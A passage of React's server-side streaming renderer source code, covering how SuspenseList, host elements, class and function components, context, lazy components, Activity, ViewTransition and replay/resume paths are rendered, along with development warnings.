= [];\n\n        let done = false;\n\n        if (iterator === children) {\n          // If it's an iterator we need to continue reading where we left\n          // off. We can do that by reading the first few rows from the previous\n          // thenable state.\n          // $FlowFixMe\n          let step = readPreviousThenableFromState();\n          while (step !== undefined) {\n            if (step.done) {\n              done = true;\n              break;\n            }\n            rows.push(step.value);\n            step = readPreviousThenableFromState();\n          }\n        }\n\n        if (!done) {\n          let step = unwrapThenable(iterator.next());\n          while (!step.done) {\n            rows.push(step.value);\n            step = unwrapThenable(iterator.next());\n          }\n        }\n        renderSuspenseListRows(request, task, keyPath, rows, revealOrder);\n        return;\n      }\n    }\n    // This case will warn on the client. It's the same as independent revealOrder.\n  }\n\n  if (revealOrder === 'together') {\n    const prevKeyPath = task.keyPath;\n    const prevRow = task.row;\n    const newRow = (task.row = createSuspenseListRow(null));\n    // This will cause boundaries to block on this row, but there's nothing to\n    // unblock them. We'll use the partial flushing pass to unblock them.\n    newRow.boundaries = [];\n    newRow.together = true;\n    task.keyPath = keyPath;\n    renderNodeDestructive(request, task, children, -1);\n    if (--newRow.pendingTasks === 0) {\n      finishSuspenseListRow(request, newRow);\n    }\n    task.keyPath = prevKeyPath;\n    task.row = prevRow;\n    if (prevRow !== null && newRow.pendingTasks > 0) {\n      // If we are part of an outer SuspenseList and our row is still pending, then that blocks\n      // the parent row from completing. We can continue the chain.\n      prevRow.pendingTasks++;\n      newRow.next = prevRow;\n    }\n    return;\n  }\n  // For other reveal order modes, we just render it as a fragment.\n  const prevKeyPath = task.keyPath;\n  task.keyPath = keyPath;\n  renderNodeDestructive(request, task, children, -1);\n  task.keyPath = prevKeyPath;\n}\n\nfunction renderPreamble(\n  request: Request,\n  task: RenderTask,\n  blockedSegment: Segment,\n  node: ReactNodeList,\n): void {\n  const preambleSegment = createPendingSegment(\n    request,\n    0,\n    null,\n    task.formatContext,\n    false,\n    false,\n  );\n  blockedSegment.preambleChildren.push(preambleSegment);\n  task.blockedSegment = preambleSegment;\n  try {\n    preambleSegment.status = RENDERING;\n    renderNode(request, task, node, -1);\n    pushSegmentFinale(\n      preambleSegment.chunks,\n      request.renderState,\n      preambleSegment.lastPushedText,\n      preambleSegment.textEmbedded,\n    );\n    preambleSegment.status = COMPLETED;\n    finishedSegment(request, task.blockedBoundary, preambleSegment);\n  } finally {\n    task.blockedSegment = blockedSegment;\n  }\n}\n\nfunction renderHostElement(\n  request: Request,\n  task: Task,\n  keyPath: KeyNode,\n  type: string,\n  props: Object,\n): void {\n  const segment = task.blockedSegment;\n  if (segment === null) {\n    // Replay\n    const children = props.children; // TODO: Make this a Config for replaying.\n    const prevContext = task.formatContext;\n    const prevKeyPath = task.keyPath;\n    task.formatContext = getChildFormatContext(prevContext, type, props);\n    task.keyPath = keyPath;\n\n    // We use the non-destructive form because if something suspends, we still\n    // need to pop back up and finish this subtree of HTML.\n    renderNode(request, task, children, -1);\n\n    // We expect that errors will fatal the whole task and that we don't need\n    // the correct context. Therefore this is not in a finally.\n    task.formatContext = prevContext;\n    task.keyPath = prevKeyPath;\n  } else {\n    // Render\n    // RenderTask always has a preambleState\n    const children = pushStartInstance(\n      segment.chunks,\n      type,\n      props,\n      request.resumableState,\n      request.renderState,\n      task.blockedPreamble,\n      task.hoistableState,\n      task.formatContext,\n      segment.lastPushedText,\n    );\n    segment.lastPushedText = false;\n    const prevContext = task.formatContext;\n    const prevKeyPath = task.keyPath;\n    task.keyPath = keyPath;\n\n    const newContext = (task.formatContext = getChildFormatContext(\n      prevContext,\n      type,\n      props,\n    ));\n    if (isPreambleContext(newContext)) {\n      // $FlowFixMe: Refined\n      renderPreamble(request, (task: RenderTask), segment, children);\n    } else {\n      // We use the non-destructive form because if something suspends, we still\n      // need to pop back up and finish this subtree of HTML.\n      renderNode(request, task, children, -1);\n    }\n\n    // We expect that errors will fatal the whole task and that we don't need\n    // the correct context. Therefore this is not in a finally.\n    task.formatContext = prevContext;\n    task.keyPath = prevKeyPath;\n    pushEndInstance(\n      segment.chunks,\n      type,\n      props,\n      request.resumableState,\n      prevContext,\n    );\n    segment.lastPushedText = false;\n  }\n}\n\nfunction shouldConstruct(Component: any) {\n  return Component.prototype && Component.prototype.isReactComponent;\n}\n\nfunction renderWithHooks<Props, SecondArg>(\n  request: Request,\n  task: Task,\n  keyPath: KeyNode,\n  Component: (p: Props, arg: SecondArg) => any,\n  props: Props,\n  secondArg: SecondArg,\n): any {\n  // Reset the task's thenable state before continuing, so that if a later\n  // component suspends we can reuse the same task object. If the same\n  // component suspends again, the thenable state will be restored.\n  const prevThenableState = task.thenableState;\n  task.thenableState = null;\n  const componentIdentity = {};\n  prepareToUseHooks(\n    request,\n    task,\n    keyPath,\n    componentIdentity,\n    prevThenableState,\n  );\n  let result;\n  if (__DEV__) {\n    result = callComponentInDEV(Component, props, secondArg);\n  } else {\n    result = Component(props, secondArg);\n  }\n  return finishHooks(Component, props, result, secondArg);\n}\n\nfunction finishClassComponent(\n  request: Request,\n  task: Task,\n  keyPath: KeyNode,\n  instance: any,\n  Component: any,\n  props: any,\n): ReactNodeList {\n  let nextChildren;\n  if (__DEV__) {\n    nextChildren = (callRenderInDEV(instance): any);\n  } else {\n    nextChildren = instance.render();\n  }\n  if (request.status === ABORTING) {\n    // eslint-disable-next-line no-throw-literal\n    throw null;\n  }\n\n  if (__DEV__) {\n    if (instance.props !== props) {\n      if (!didWarnAboutReassigningProps) {\n        console.error(\n          'It looks like %s is reassigning its own `this.props` while rendering. ' +\n            'This is not supported and can lead to confusing bugs.',\n          getComponentNameFromType(Component) || 'a component',\n        );\n      }\n      didWarnAboutReassigningProps = true;\n    }\n  }\n\n  if (!disableLegacyContext) {\n    const childContextTypes = Component.childContextTypes;\n    if (childContextTypes !== null && childContextTypes !== undefined) {\n      const previousContext = task.legacyContext;\n      const mergedContext = processChildContext(\n        instance,\n        Component,\n        previousContext,\n        childContextTypes,\n      );\n      task.legacyContext = mergedContext;\n      renderNodeDestructive(request, task, nextChildren, -1);\n      task.legacyContext = previousContext;\n      return;\n    }\n  }\n\n  const prevKeyPath = task.keyPath;\n  task.keyPath = keyPath;\n  renderNodeDestructive(request, task, nextChildren, -1);\n  task.keyPath = prevKeyPath;\n}\n\nexport function resolveClassComponentProps(\n  Component: any,\n  baseProps: Object,\n): Object {\n  let newProps = baseProps;\n\n  // Remove ref from the props object, if it exists.\n  if ('ref' in baseProps) {\n    newProps = ({}: any);\n    for (const propName in baseProps) {\n      if (propName !== 'ref') {\n        newProps[propName] = baseProps[propName];\n      }\n    }\n  }\n\n  // Resolve default props.\n  const defaultProps = Component.defaultProps;\n  if (defaultProps) {\n    // We may have already copied the props object above to remove ref. If so,\n    // we can modify that. Otherwise, copy the props object with Object.assign.\n    if (newProps === baseProps) {\n      newProps = assign({}, newProps, baseProps);\n    }\n    // Taken from old JSX runtime, where this used to live.\n    for (const propName in defaultProps) {\n      if (newProps[propName] === undefined) {\n        newProps[propName] = defaultProps[propName];\n      }\n    }\n  }\n\n  return newProps;\n}\n\nfunction renderClassComponent(\n  request: Request,\n  task: Task,\n  keyPath: KeyNode,\n  Component: any,\n  props: any,\n): void {\n  const resolvedProps = resolveClassComponentProps(Component, props);\n  const maskedContext = !disableLegacyContext\n    ? getMaskedContext(Component, task.legacyContext)\n    : undefined;\n  const instance = constructClassInstance(\n    Component,\n    resolvedProps,\n    maskedContext,\n  );\n  mountClassInstance(instance, Component, resolvedProps, maskedContext);\n  finishClassComponent(\n    request,\n    task,\n    keyPath,\n    instance,\n    Component,\n    resolvedProps,\n  );\n}\n\nconst didWarnAboutBadClass: {[string]: boolean} = {};\nconst didWarnAboutContextTypes: {[string]: boolean} = {};\nconst didWarnAboutContextTypeOnFunctionComponent: {[string]: boolean} = {};\nconst didWarnAboutGetDerivedStateOnFunctionComponent: {[string]: boolean} = {};\nlet didWarnAboutReassigningProps = false;\nlet didWarnAboutGenerators = false;\nlet didWarnAboutMaps = false;\n\nfunction renderFunctionComponent(\n  request: Request,\n  task: Task,\n  keyPath: KeyNode,\n  Component: any,\n  props: any,\n): void {\n  let legacyContext;\n  if (!disableLegacyContext && !disableLegacyContextForFunctionComponents) {\n    legacyContext = getMaskedContext(Component, task.legacyContext);\n  }\n  if (__DEV__) {\n    if (\n      Component.prototype &&\n      typeof Component.prototype.render === 'function'\n    ) {\n      const componentName = getComponentNameFromType(Component) || 'Unknown';\n\n      if (!didWarnAboutBadClass[componentName]) {\n        console.error(\n          \"The <%s /> component appears to have a render method, but doesn't extend React.Component. \" +\n            'This is likely to cause errors. Change %s to extend React.Component instead.',\n          componentName,\n          componentName,\n        );\n        didWarnAboutBadClass[componentName] = true;\n      }\n    }\n  }\n\n  const value = renderWithHooks(\n    request,\n    task,\n    keyPath,\n    Component,\n    props,\n    legacyContext,\n  );\n  if (request.status === ABORTING) {\n    // eslint-disable-next-line no-throw-literal\n    throw null;\n  }\n\n  const hasId = checkDidRenderIdHook();\n  const actionStateCount = getActionStateCount();\n  const actionStateMatchingIndex = getActionStateMatchingIndex();\n\n  if (__DEV__) {\n    if (Component.contextTypes) {\n      const componentName = getComponentNameFromType(Component) || 'Unknown';\n      if (!didWarnAboutContextTypes[componentName]) {\n        didWarnAboutContextTypes[componentName] = true;\n        if (disableLegacyContext) {\n          console.error(\n            '%s uses the legacy contextTypes API which was removed in React 19. ' +\n              'Use React.createContext() with React.useContext() instead. ' +\n              '(https://react.dev/link/legacy-context)',\n            componentName,\n          );\n        } else {\n          console.error(\n            '%s uses the legacy contextTypes API which will be removed soon. ' +\n              'Use React.createContext() with React.useContext() instead. ' +\n              '(https://react.dev/link/legacy-context)',\n            componentName,\n          );\n        }\n      }\n    }\n  }\n  if (__DEV__) {\n    validateFunctionComponentInDev(Component);\n  }\n  finishFunctionComponent(\n    request,\n    task,\n    keyPath,\n    value,\n    hasId,\n    actionStateCount,\n    actionStateMatchingIndex,\n  );\n}\n\nfunction finishFunctionComponent(\n  request: Request,\n  task: Task,\n  keyPath: KeyNode,\n  children: ReactNodeList,\n  hasId: boolean,\n  actionStateCount: number,\n  actionStateMatchingIndex: number,\n) {\n  let didEmitActionStateMarkers = false;\n  if (actionStateCount !== 0 && request.formState !== null) {\n    // For each useActionState hook, emit a marker that indicates whether we\n    // rendered using the form state passed at the root. We only emit these\n    // markers if form state is passed at the root.\n    const segment = task.blockedSegment;\n    if (segment === null) {\n      // Implies we're in reumable mode.\n    } else {\n      didEmitActionStateMarkers = true;\n      const target = segment.chunks;\n      for (let i = 0; i < actionStateCount; i++) {\n        if (i === actionStateMatchingIndex) {\n          pushFormStateMarkerIsMatching(target);\n        } else {\n          pushFormStateMarkerIsNotMatching(target);\n        }\n      }\n    }\n  }\n\n  const prevKeyPath = task.keyPath;\n  task.keyPath = keyPath;\n  if (hasId) {\n    // This component materialized an id. We treat this as its own level, with\n    // a single \"child\" slot.\n    const prevTreeContext = task.treeContext;\n    const totalChildren = 1;\n    const index = 0;\n    // Modify the id context. Because we'll need to reset this if something\n    // suspends or errors, we'll use the non-destructive render path.\n    task.treeContext = pushTreeContext(prevTreeContext, totalChildren, index);\n    renderNode(request, task, children, -1);\n    // Like the other contexts, this does not need to be in a finally block\n    // because renderNode takes care of unwinding the stack.\n    task.treeContext = prevTreeContext;\n  } else if (didEmitActionStateMarkers) {\n    // If there were useActionState hooks, we must use the non-destructive path\n    // because this component is not a pure indirection; we emitted markers\n    // to the stream.\n    renderNode(request, task, children, -1);\n  } else {\n    // We're now successfully past this task, and we haven't modified the\n    // context stack. We don't have to pop back to the previous task every\n    // again, so we can use the destructive recursive form.\n    renderNodeDestructive(request, task, children, -1);\n  }\n  task.keyPath = prevKeyPath;\n}\n\nfunction validateFunctionComponentInDev(Component: any): void {\n  if (__DEV__) {\n    if (Component && Component.childContextTypes) {\n      console.error(\n        'childContextTypes cannot be defined on a function component.\\n' +\n          '  %s.childContextTypes = ...',\n        Component.displayName || Component.name || 'Component',\n      );\n    }\n\n    if (typeof Component.getDerivedStateFromProps === 'function') {\n      const componentName = getComponentNameFromType(Component) || 'Unknown';\n\n      if (!didWarnAboutGetDerivedStateOnFunctionComponent[componentName]) {\n        console.error(\n          '%s: Function components do not support getDerivedStateFromProps.',\n          componentName,\n        );\n        didWarnAboutGetDerivedStateOnFunctionComponent[componentName] = true;\n      }\n    }\n\n    if (\n      typeof Component.contextType === 'object' &&\n      Component.contextType !== null\n    ) {\n      const componentName = getComponentNameFromType(Component) || 'Unknown';\n\n      if (!didWarnAboutContextTypeOnFunctionComponent[componentName]) {\n        console.error(\n          '%s: Function components do not support contextType.',\n          componentName,\n        );\n        didWarnAboutContextTypeOnFunctionComponent[componentName] = true;\n      }\n    }\n  }\n}\n\nfunction renderForwardRef(\n  request: Request,\n  task: Task,\n  keyPath: KeyNode,\n  type: any,\n  props: Object,\n  ref: any,\n): void {\n  let propsWithoutRef;\n  if ('ref' in props) {\n    // `ref` is just a prop now, but `forwardRef` expects it to not appear in\n    // the props object. This used to happen in the JSX runtime, but now we do\n    // it here.\n    propsWithoutRef = ({}: {[string]: any});\n    for (const key in props) {\n      // Since `ref` should only appear in props via the JSX transform, we can\n      // assume that this is a plain object. So we don't need a\n      // hasOwnProperty check.\n      if (key !== 'ref') {\n        propsWithoutRef[key] = props[key];\n      }\n    }\n  } else {\n    propsWithoutRef = props;\n  }\n\n  const children = renderWithHooks(\n    request,\n    task,\n    keyPath,\n    type.render,\n    propsWithoutRef,\n    ref,\n  );\n  const hasId = checkDidRenderIdHook();\n  const actionStateCount = getActionStateCount();\n  const actionStateMatchingIndex = getActionStateMatchingIndex();\n  finishFunctionComponent(\n    request,\n    task,\n    keyPath,\n    children,\n    hasId,\n    actionStateCount,\n    actionStateMatchingIndex,\n  );\n}\n\nfunction renderMemo(\n  request: Request,\n  task: Task,\n  keyPath: KeyNode,\n  type: any,\n  props: Object,\n  ref: any,\n): void {\n  const innerType = type.type;\n  renderElement(request, task, keyPath, innerType, props, ref);\n}\n\nfunction renderContextConsumer(\n  request: Request,\n  task: Task,\n  keyPath: KeyNode,\n  context: ReactContext<any>,\n  props: Object,\n): void {\n  const render = props.children;\n\n  if (__DEV__) {\n    if (typeof render !== 'function') {\n      console.error(\n        'A context consumer was rendered with multiple children, or a child ' +\n          \"that isn't a function. A context consumer expects a single child \" +\n          'that is a function. If you did pass a function, make sure there ' +\n          'is no trailing or leading whitespace around it.',\n      );\n    }\n  }\n\n  const newValue = readContext(context);\n  const newChildren = render(newValue);\n\n  const prevKeyPath = task.keyPath;\n  task.keyPath = keyPath;\n  renderNodeDestructive(request, task, newChildren, -1);\n  task.keyPath = prevKeyPath;\n}\n\nfunction renderContextProvider(\n  request: Request,\n  task: Task,\n  keyPath: KeyNode,\n  context: ReactContext<any>,\n  props: Object,\n): void {\n  const value = props.value;\n  const children = props.children;\n  let prevSnapshot;\n  if (__DEV__) {\n    prevSnapshot = task.context;\n  }\n  const prevKeyPath = task.keyPath;\n  task.context = pushProvider(context, value);\n  task.keyPath = keyPath;\n  renderNodeDestructive(request, task, children, -1);\n  task.context = popProvider(context);\n  task.keyPath = prevKeyPath;\n  if (__DEV__) {\n    if (prevSnapshot !== task.context) {\n      console.error(\n        'Popping the context provider did not return back to the original snapshot. This is a bug in React.',\n      );\n    }\n  }\n}\n\nfunction renderLazyComponent(\n  request: Request,\n  task: Task,\n  keyPath: KeyNode,\n  lazyComponent: LazyComponentType<any, any>,\n  props: Object,\n  ref: any,\n): void {\n  let Component;\n  if (__DEV__) {\n    Component = callLazyInitInDEV(lazyComponent);\n  } else {\n    const payload = lazyComponent._payload;\n    const init = lazyComponent._init;\n    Component = init(payload);\n  }\n  if (\n    request.status === ABORTING &&\n    // We're going to discard this render anyway.\n    // We just need to reach the point where we suspended in dev.\n    (!__DEV__ || request.status !== STALLED_DEV)\n  ) {\n    // eslint-disable-next-line no-throw-literal\n    throw null;\n  }\n  renderElement(request, task, keyPath, Component, props, ref);\n}\n\nfunction renderActivity(\n  request: Request,\n  task: Task,\n  keyPath: KeyNode,\n  props: ActivityProps,\n): void {\n  const segment = task.blockedSegment;\n  if (segment === null) {\n    // Replay\n    const mode = props.mode;\n    if (mode === 'hidden') {\n      // A hidden Activity boundary is not server rendered. Prerendering happens\n      // on the client.\n    } else {\n      // A visible Activity boundary has its children rendered inside the boundary.\n      const prevKeyPath = task.keyPath;\n      task.keyPath = keyPath;\n      renderNode(request, task, props.children, -1);\n      task.keyPath = prevKeyPath;\n    }\n  } else {\n    // Render\n    const mode = props.mode;\n    if (mode === 'hidden') {\n      // A hidden Activity boundary is not server rendered. Prerendering happens\n      // on the client.\n    } else {\n      // An Activity boundary is delimited so that we can hydrate it separately.\n      pushStartActivityBoundary(segment.chunks, request.renderState);\n      segment.lastPushedText = false;\n      // A visible Activity boundary has its children rendered inside the boundary.\n      const prevKeyPath = task.keyPath;\n      task.keyPath = keyPath;\n      // We use the non-destructive form because if something suspends, we still\n      // need to pop back up and finish the end comment.\n      renderNode(request, task, props.children, -1);\n      task.keyPath = prevKeyPath;\n      pushEndActivityBoundary(segment.chunks, request.renderState);\n      segment.lastPushedText = false;\n    }\n  }\n}\n\nfunction renderViewTransition(\n  request: Request,\n  task: Task,\n  keyPath: KeyNode,\n  props: ViewTransitionProps,\n) {\n  const prevContext = task.formatContext;\n  const prevKeyPath = task.keyPath;\n  // Get the name off props or generate an auto-generated one in case we need it.\n  const autoName = getViewTransitionName(\n    props,\n    task.treeContext,\n    request.resumableState,\n  );\n  task.formatContext = getViewTransitionFormatContext(\n    request.resumableState,\n    prevContext,\n    getViewTransitionClassName(props.default, props.update),\n    getViewTransitionClassName(props.default, props.enter),\n    getViewTransitionClassName(props.default, props.exit),\n    getViewTransitionClassName(props.default, props.share),\n    props.name,\n    autoName,\n  );\n  task.keyPath = keyPath;\n  if (props.name != null && props.name !== 'auto') {\n    renderNodeDestructive(request, task, props.children, -1);\n  } else {\n    // This will be auto-assigned a name which claims a \"useId\" slot.\n    // This component materialized an id. We treat this as its own level, with\n    // a single \"child\" slot.\n    const prevTreeContext = task.treeContext;\n    const totalChildren = 1;\n    const index = 0;\n    // Modify the id context. Because we'll need to reset this if something\n    // suspends or errors, we'll use the non-destructive render path.\n    task.treeContext = pushTreeContext(prevTreeContext, totalChildren, index);\n    renderNode(request, task, props.children, -1);\n    // Like the other contexts, this does not need to be in a finally block\n    // because renderNode takes care of unwinding the stack.\n    task.treeContext = prevTreeContext;\n  }\n  task.formatContext = prevContext;\n  task.keyPath = prevKeyPath;\n}\n\nfunction renderElement(\n  request: Request,\n  task: Task,\n  keyPath: KeyNode,\n  type: any,\n  props: Object,\n  ref: any,\n): void {\n  if (typeof type === 'function') {\n    if (shouldConstruct(type)) {\n      renderClassComponent(request, task, keyPath, type, props);\n      return;\n    } else {\n      renderFunctionComponent(request, task, keyPath, type, props);\n      return;\n    }\n  }\n  if (typeof type === 'string') {\n    renderHostElement(request, task, keyPath, type, props);\n    return;\n  }\n\n  switch (type) {\n    // LegacyHidden acts the same as a fragment. This only works because we\n    // currently assume that every instance of LegacyHidden is accompanied by a\n    // host component wrapper. In the hidden mode, the host component is given a\n    // `hidden` attribute, which ensures that the initial HTML is not visible.\n    // To support the use of LegacyHidden as a true fragment, without an extra\n    // DOM node, we would have to hide the initial HTML in some other way.\n    // TODO: Delete in LegacyHidden. It's an unstable API only used in the\n    // www build. As a migration step, we could add a special prop to Offscreen\n    // that simulates the old behavior (no hiding, no change to effects).\n    case REACT_LEGACY_HIDDEN_TYPE:\n    case REACT_STRICT_MODE_TYPE:\n    case REACT_PROFILER_TYPE:\n    case REACT_FRAGMENT_TYPE: {\n      const prevKeyPath = task.keyPath;\n      task.keyPath = keyPath;\n      renderNodeDestructive(request, task, props.children, -1);\n      task.keyPath = prevKeyPath;\n      return;\n    }\n    case REACT_ACTIVITY_TYPE: {\n      renderActivity(request, task, keyPath, props);\n      return;\n    }\n    case REACT_SUSPENSE_LIST_TYPE: {\n      renderSuspenseList(request, task, keyPath, props);\n      return;\n    }\n    case REACT_VIEW_TRANSITION_TYPE: {\n      if (enableViewTransition) {\n        renderViewTransition(request, task, keyPath, props);\n        return;\n      }\n      // Fallthrough\n    }\n    case REACT_SCOPE_TYPE: {\n      if (enableScopeAPI) {\n        const prevKeyPath = task.keyPath;\n        task.keyPath = keyPath;\n        renderNodeDestructive(request, task, props.children, -1);\n        task.keyPath = prevKeyPath;\n        return;\n      }\n      throw new Error('ReactDOMServer does not yet support scope components.');\n    }\n    case REACT_SUSPENSE_TYPE: {\n      renderSuspenseBoundary(request, task, keyPath, props);\n      return;\n    }\n  }\n\n  if (typeof type === 'object' && type !== null) {\n    switch (type.$$typeof) {\n      case REACT_FORWARD_REF_TYPE: {\n        renderForwardRef(request, task, keyPath, type, props, ref);\n        return;\n      }\n      case REACT_MEMO_TYPE: {\n        renderMemo(request, task, keyPath, type, props, ref);\n        return;\n      }\n      case REACT_CONTEXT_TYPE: {\n        const context = type;\n        renderContextProvider(request, task, keyPath, context, props);\n        return;\n      }\n      case REACT_CONSUMER_TYPE: {\n        const context: ReactContext<any> = (type: ReactConsumerType<any>)\n          ._context;\n        renderContextConsumer(request, task, keyPath, context, props);\n        return;\n      }\n      case REACT_LAZY_TYPE: {\n        renderLazyComponent(request, task, keyPath, type, props, ref);\n        return;\n      }\n    }\n  }\n\n  let info = '';\n  if (__DEV__) {\n    if (\n      type === undefined ||\n      (typeof type === 'object' &&\n        type !== null &&\n        Object.keys(type).length === 0)\n    ) {\n      info +=\n        ' You likely forgot to export your component from the file ' +\n        \"it's defined in, or you might have mixed up default and \" +\n        'named imports.';\n    }\n  }\n\n  throw new Error(\n    'Element type is invalid: expected a string (for built-in ' +\n      'components) or a class/function (for composite components) ' +\n      `but got: ${type == null ? type : typeof type}.${info}`,\n  );\n}\n\nfunction resumeNode(\n  request: Request,\n  task: ReplayTask,\n  segmentId: number,\n  node: ReactNodeList,\n  childIndex: number,\n): void {\n  const prevReplay = task.replay;\n  const blockedBoundary = task.blockedBoundary;\n  const resumedSegment = createPendingSegment(\n    request,\n    0,\n    null,\n    task.formatContext,\n    false,\n    false,\n  );\n  resumedSegment.id = segmentId;\n  resumedSegment.parentFlushed = true;\n  try {\n    // Convert the current ReplayTask to a RenderTask.\n    const renderTask: RenderTask = (task: any);\n    renderTask.replay = null;\n    renderTask.blockedSegment = resumedSegment;\n    renderNode(request, task, node, childIndex);\n    resumedSegment.status = COMPLETED;\n    finishedSegment(request, blockedBoundary, resumedSegment);\n    if (blockedBoundary === null) {\n      request.completedRootSegment = resumedSegment;\n    } else {\n      queueCompletedSegment(blockedBoundary, resumedSegment);\n      if (blockedBoundary.parentFlushed) {\n        request.partialBoundaries.push(blockedBoundary);\n      }\n    }\n  } finally {\n    // Restore to a ReplayTask.\n    task.replay = prevReplay;\n    task.blockedSegment = null;\n  }\n}\n\nfunction replayElement(\n  request: Request,\n  task: ReplayTask,\n  keyPath: KeyNode,\n  name: null | string,\n  keyOrIndex: number | string,\n  childIndex: number,\n  type: any,\n  props: Object,\n  ref: any,\n  replay: ReplaySet,\n): void {\n  // We're replaying. Find the path to follow.\n  const replayNodes = replay.nodes;\n  for (let i = 0; i < replayNodes.length; i++) {\n    // Flow doesn't support refinement on tuples so we do it manually here.\n    const node = replayNodes[i];\n    if (keyOrIndex !== node[1]) {\n      continue;\n    }\n    if (node.length === 4) {\n      // Matched a replayable path.\n      // Let's double check that the component name matches as a precaution.\n      if (name !== null && name !== node[0]) {\n        throw new Error(\n          'Expected the resume to render <' +\n            (node[0]: any) +\n            '> in this slot but instead it rendered <' +\n            name +\n            '>. ' +\n            \"The tree doesn't match so React will fallback to client rendering.\",\n        );\n      }\n      const childNodes = node[2];\n      const childSlots = node[3];\n      const currentNode = task.node;\n      task.replay = {nodes: childNodes, slots: childSlots, pendingTasks: 1};\n      try {\n        renderElement(request, task, keyPath, type, props, ref);\n        if (\n          task.replay.pendingTasks === 1 &&\n          task.replay.nodes.length > 0\n          // TODO check remaining slots\n        ) {\n          throw new Error(\n            \"Couldn't find all resumable slots by key/index during replaying. \" +\n              \"The tree doesn't match so React will fallback to client rendering.\",\n          );\n        }\n        task.replay.pendingTasks--;\n      } catch (x) {\n        if (\n          typeof x === 'object' &&\n          x !== null &&\n          (x === SuspenseException || typeof x.then === 'function')\n        ) {\n          // Suspend\n          if (task.node === currentNode) {\n            // This same element suspended so we need to pop the replay we just added.\n            task.replay = replay;\n          } else {\n            // We finished rendering this node, so now we can consume this slot.\n            replayNodes.splice(i, 1);\n          }\n          throw x;\n        }\n        task.replay.pendingTasks--;\n        // Unlike regular render, we don't terminate the siblings if we error\n        // during a replay. That's because this component didn't actually error\n        // in the original prerender. What's unable to complete is the child\n        // replay nodes which might be Suspense boundaries which are able to\n        // absorb the error and we can still continue with siblings.\n        const thrownInfo = getThrownInfo(task.componentStack);\n        erroredReplay(\n          request,\n          task.blockedBoundary,\n          x,\n          thrownInfo,\n          childNodes,\n          childSlots,\n          __DEV__ ? task.debugTask : null,\n        );\n      }\n      task.replay = replay;\n    } else {\n      // Let's double check that the component type matches.\n      if (type !== REACT_SUSPENSE_TYPE) {\n        const expectedType = 'Suspense';\n        throw new Error(\n          'Expected the resume to render <' +\n            expectedType +\n            '> in this slot but instead it rendered <' +\n            (getComponentNameFromType(type) || 'Unknown') +\n            '>. ' +\n            \"The tree doesn't match so React will fallback to client rendering.\",\n        );\n      }\n      // Matched a replayable path.\n      replaySuspenseBoundary(\n        request,\n        task,\n        keyPath,\n        props,\n        node[5],\n        node[2],\n        node[3],\n        node[4] === null ? [] : node[4][2],\n        node[4] === null ? null : node[4][3],\n      );\n    }\n    // We finished rendering this node, so now we can consume this\n    // slot. This must happen after in case we rerender this task.\n    replayNodes.splice(i, 1);\n    return;\n  }\n  // We didn't find any matching nodes. We assume that this element was already\n  // rendered in the prelude and skip it.\n}\n\nfunction validateIterable(\n  task: Task,\n  iterable: Iterable<any>,\n  childIndex: number,\n  iterator: Iterator<any>,\n  iteratorFn: () => ?Iterator<any>,\n): void {\n  if (__DEV__) {\n    if (iterator === iterable) {\n      // We don't support rendering Generators as props because it's a mutation.\n      // See https://github.com/facebook/react/issues/12995\n      // We do support generators if they were created by a GeneratorFunction component\n      // as its direct child since we can recreate those by rerendering the component\n      // as needed.\n      const isGeneratorComponent =\n        childIndex === -1 && // Only the root child is valid\n        task.componentStack !== null &&\n        typeof task.componentStack.type === 'function' && // FunctionComponent\n        // $FlowFixMe[method-unbinding]\n        Object.prototype.toString.call(task.componentStack.type) ===\n          '[object GeneratorFunction]' &&\n        // $FlowFixMe[method-unbinding]\n        Object.prototype.toString.call(iterator) === '[object Generator]';\n      if (!isGeneratorComponent) {\n        if (!didWarnAboutGenerators) {\n          console.error(\n            'Using Iterators as children is unsupported and will likely yield ' +\n              'unexpected results because enumerating a generator mutates it. ' +\n              'You may convert it to an array with `Array.from()` or the ' +\n              '`[...spread]` operator before rendering. You can also use an ' +\n              'Iterable that can iterate multiple times over the same items.',\n          );\n        }\n        didWarnAboutGenerators = true;\n      }\n    } else if ((iterable: any).entries === iteratorFn) {\n      // Warn about using Maps as children\n      if (!didWarnAboutMaps) {\n        console.error(\n          'Using Maps as children is not supported. ' +\n            'Use an array of keyed ReactElements instead.',\n        );\n        didWarnAboutMaps = true;\n      }\n    }\n  }\n}\n\nfunction validateAsyncIterable(\n  task: Task,\n  iterable: AsyncIterable<any>,\n  childIndex: number,\n  iterator: AsyncIterator<any>,\n): void {\n  if (__DEV__) {\n    if (iterator === iterable) {\n      // We don't support rendering Generators as props because it's a mutation.\n      // See https://github.com/facebook/react/issues/12995\n      // We do support generators if they were created by a GeneratorFunction component\n      // as its direct child since we can recreate those by rerendering the component\n      // as needed.\n      const isGeneratorComponent =\n        childIndex === -1 && // Only the root child is valid\n        task.componentStack !== null &&\n        typeof task.componentStack.type === 'function' && // FunctionComponent\n        // $FlowFixMe[method-unbinding]\n        Object.prototype.toString.call(task.componentStack.type) ===\n          '[object AsyncGeneratorFunction]' &&\n        // $FlowFixMe[method-unbinding]\n        Object.prototype.toString.call(iterator) === '[object AsyncGenerator]';\n      if (!isGeneratorComponent) {\n        if (!didWarnAboutGenerators) {\n          console.error(\n            'Using AsyncIterators as children is unsupported and will likely yield ' +\n              'unexpected results because enumerating a generator mutates it. ' +\n              'You can use an AsyncIterable that can iterate multiple times over ' +\n              'the same items.',\n          );\n        }\n        didWarnAboutGenerators = true;\n      }\n    }\n  }\n}\n\nfunction warnOnFunctionType(invalidChild: Function) {\n  if (__DEV__) {\n    const name = invalidChild.displayName || invalidChild.name || 'Component';\n    console.error(\n      'Functions are not valid as a React child. This may happen if ' +\n        'you return %s instead of <%s /> from render. ' +\n        'Or maybe you meant to call this function rather than return it.',\n      name,\n      name,\n    );\n  }\n}\n\nfunction warnOnSymbolType(invalidChild: symbol) {\n  if (__DEV__) {\n    // eslint-disable-next-line react-internal/safe-string-coercion\n    const name = String(invalidChild);\n    console.error('Symbols are not valid as a React child.\\n' + '  %s', name);\n  }\n}\n\n// This function by it self renders a node and consumes the task by mutating it\n// to update the current execution state.\nfunction renderNodeDestructive(\n  request: Request,\n  task: Task,\n  node: ReactNodeList,\n  childIndex: number,\n): void {\n  if (task.replay !== null && typeof task.replay.slots === 'number') {\n    // TODO: Figure out a cheaper place than this hot path to do this check.\n    const resumeSegmentID = task.replay.slots;\n    resumeNode(request, task, resumeSegmentID, node, childIndex);\n    return;\n  }\n  // Stash the node we're working on. We'll pick up from this task in case\n  // something suspends.\n  task.node = node;\n  task.childIndex = childIndex;\n\n  const previousComponentStack = task.componentStack;\n  const previousDebugTask = __DEV__ ? task.debugTask : null;\n\n  pushComponentStack(task);\n\n  